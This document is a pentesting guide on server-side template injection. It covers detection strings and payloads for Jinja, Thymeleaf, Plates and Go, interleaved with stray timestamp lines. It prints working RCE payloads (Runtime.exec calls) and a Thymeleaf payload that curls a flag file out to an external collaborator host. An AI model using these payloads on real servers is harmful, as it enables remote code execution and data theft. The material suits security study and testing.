## What is SSTI (Server-Side Template Injection)
2024-02-06 14:12:47 +00:00
Server-side template injection is a vulnerability that occurs when an attacker can inject malicious code into a template that is executed on the server. This vulnerability can be found in various technologies, including Jinja.
2024-02-06 14:12:47 +00:00
Jinja is a popular template engine used in web applications. Let's consider an example that demonstrates a vulnerable code snippet using Jinja:
2024-02-06 14:12:47 +00:00
```python
output = template.render(name=request.args.get('name'))
```
2024-02-06 14:12:47 +00:00
In this vulnerable code, the `name` parameter from the user's request is directly passed into the template using the `render` function. This can potentially allow an attacker to inject malicious code into the `name` parameter, leading to server-side template injection.
2024-02-06 14:12:47 +00:00
For instance, an attacker could craft a request with a payload like this:
```
2024-02-06 14:12:47 +00:00
http://vulnerable-website.com/?name={{bad-stuff-here}}
```
2024-02-06 14:12:47 +00:00
The payload `{{bad-stuff-here}}` is injected into the `name` parameter. This payload can contain Jinja template directives that enable the attacker to execute unauthorized code or manipulate the template engine, potentially gaining control over the server.
2024-02-06 14:12:47 +00:00
To prevent server-side template injection vulnerabilities, developers should ensure that user input is properly sanitized and validated before being inserted into templates. Implementing input validation and using context-aware escaping techniques can help mitigate the risk of this vulnerability.
2024-02-06 14:12:47 +00:00
### Detection
To detect Server-Side Template Injection (SSTI), initially, **fuzzing the template** is a straightforward approach. This involves injecting a sequence of special characters (**`${{<%[%'"}}%\`**) into the template and analyzing the differences in the server's response to regular data versus this special payload. Vulnerability indicators include:
* Thrown errors, revealing the vulnerability and potentially the template engine.
* Absence of the payload in the reflection, or parts of it missing, implying the server processes it differently than regular data.
* **Plaintext Context**: Distinguish from XSS by checking if the server evaluates template expressions (e.g., `{{7*7}}`, `${7*7}`).
* **Code Context**: Confirm vulnerability by altering input parameters. For instance, changing `greeting` in `http://vulnerable-website.com/?greeting=data.username` to see if the server's output is dynamic or fixed, like in `greeting=data.username}}hello` returning the username.
2024-02-06 14:12:47 +00:00
#### Identification Phase
2024-02-06 14:12:47 +00:00
Identifying the template engine involves analyzing error messages or manually testing various language-specific payloads. Common payloads causing errors include `${7/0}`, `{{7/0}}`, and `<%= 7/0 %>`. Observing the server's response to mathematical operations helps pinpoint the specific template engine.

### Thymeleaf
2024-02-06 14:12:47 +00:00
In Thymeleaf, a common test for SSTI vulnerabilities is the expression `${7*7}`, which also applies to this template engine. For potential remote code execution, expressions like the following can be used:
* SpringEL:
```java
${T(java.lang.Runtime).getRuntime().exec('calc')}
```
* OGNL:
```java
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
```
2024-02-06 14:12:47 +00:00
Thymeleaf requires these expressions to be placed within specific attributes. However, _expression inlining_ is supported for other template locations, using syntax like `[[...]]` or `[(...)]`. Thus, a simple SSTI test payload might look like `[[${7*7}]]`.
2024-02-06 14:12:47 +00:00
However, the likelihood of this payload working is generally low. Thymeleaf's default configuration doesn't support dynamic template generation; templates must be predefined. Developers would need to implement their own `TemplateResolver` to create templates from strings on-the-fly, which is uncommon.
2024-02-06 14:12:47 +00:00
Thymeleaf also offers _expression preprocessing_, where expressions within double underscores (`__...__`) are preprocessed. This feature can be utilized in the construction of expressions, as demonstrated in Thymeleaf's documentation:
2021-06-25 12:34:30 +00:00
```java
#{selection.__${sel.code}__}
```
2024-02-06 14:12:47 +00:00
**Example of Vulnerability in Thymeleaf**
Consider the following code snippet, which could be susceptible to exploitation:
2024-02-06 14:12:47 +00:00
```xml
<a th:href="@{__${path}__}" th:title="${title}">
2022-05-18 13:29:23 +00:00
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
2024-02-06 14:12:47 +00:00
```
2024-02-06 14:12:47 +00:00
This indicates that if the template engine processes these inputs improperly, it might lead to remote code execution accessing URLs like:
```
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
```

Expression Language (EL) is a fundamental feature that facilitates interaction between the presentation layer (like web pages) and the application logic (like managed beans) in JavaEE. It's used extensively across multiple JavaEE technologies to streamline this communication. The key JavaEE technologies utilizing EL include:
* **JavaServer Faces (JSF)**: Employs EL to bind components in JSF pages to the corresponding backend data and actions.
* **JavaServer Pages (JSP)**: EL is used in JSP for accessing and manipulating data within JSP pages, making it easier to connect page elements to the application data.
* **Contexts and Dependency Injection for Java EE (CDI)**: EL integrates with CDI to allow seamless interaction between the web layer and managed beans, ensuring a more coherent application structure.

### Plates (PHP)
2024-02-06 14:12:47 +00:00
Plates is a templating engine native to PHP, drawing inspiration from Twig. However, unlike Twig, which introduces a new syntax, Plates leverages native PHP code in templates, making it intuitive for PHP developers.
2024-02-06 14:12:47 +00:00
Controller:
```php
// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');
// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);
```
2024-02-06 14:12:47 +00:00
Page template:
```php
<?php $this->layout('template', ['title' => 'User Profile']) ?>
<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>
```
2024-02-06 14:12:47 +00:00
Layout template:
```html
<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>
```

### SSTI in GO
2021-05-27 10:20:50 +00:00
2024-02-06 14:12:47 +00:00
In Go's template engine, confirmation of its usage can be done with specific payloads:
2021-05-27 10:20:50 +00:00
2024-02-06 14:12:47 +00:00
* `{{ . }}`: Reveals the data structure input. For instance, if an object with a `Password` attribute is passed, `{{ .Password }}` could expose it.
* `{{printf "%s" "ssti" }}`: Expected to display the string "ssti".
* `{{html "ssti"}}`, `{{js "ssti"}}`: These payloads should return "ssti" without appending "html" or "js". Further directives can be explored in the Go documentation [here](https://golang.org/pkg/text/template).
2021-05-27 10:20:50 +00:00
2024-02-06 14:12:47 +00:00
**XSS Exploitation**
2022-02-03 00:17:18 +00:00
With the `text/template` package, XSS can be straightforward by inserting the payload directly. Contrastingly, the `html/template` package encodes the response to prevent this (e.g., `{{"<script>alert(1)</script>"}}` results in `&lt;script&gt;alert(1)&lt;/script&gt;`). Nonetheless, template definition and invocation in Go can bypass this encoding: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}

**RCE Exploitation**
2022-02-03 00:17:18 +00:00
2024-02-06 14:12:47 +00:00
RCE exploitation differs significantly between `html/template` and `text/template`. The `text/template` module allows calling any public function directly (using the “call” value), which is not permitted in `html/template`. Documentation for these modules is available [here for html/template](https://golang.org/pkg/html/template/) and [here for text/template](https://golang.org/pkg/text/template/).
2022-02-03 00:17:18 +00:00
2024-02-06 14:12:47 +00:00
For RCE via SSTI in Go, object methods can be invoked. For example, if the provided object has a `System` method executing commands, it can be exploited like `{{ .System "ls" }}`. Accessing the source code is usually necessary to exploit this, as in the given example:
2022-02-03 00:17:18 +00:00
```go
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}
```
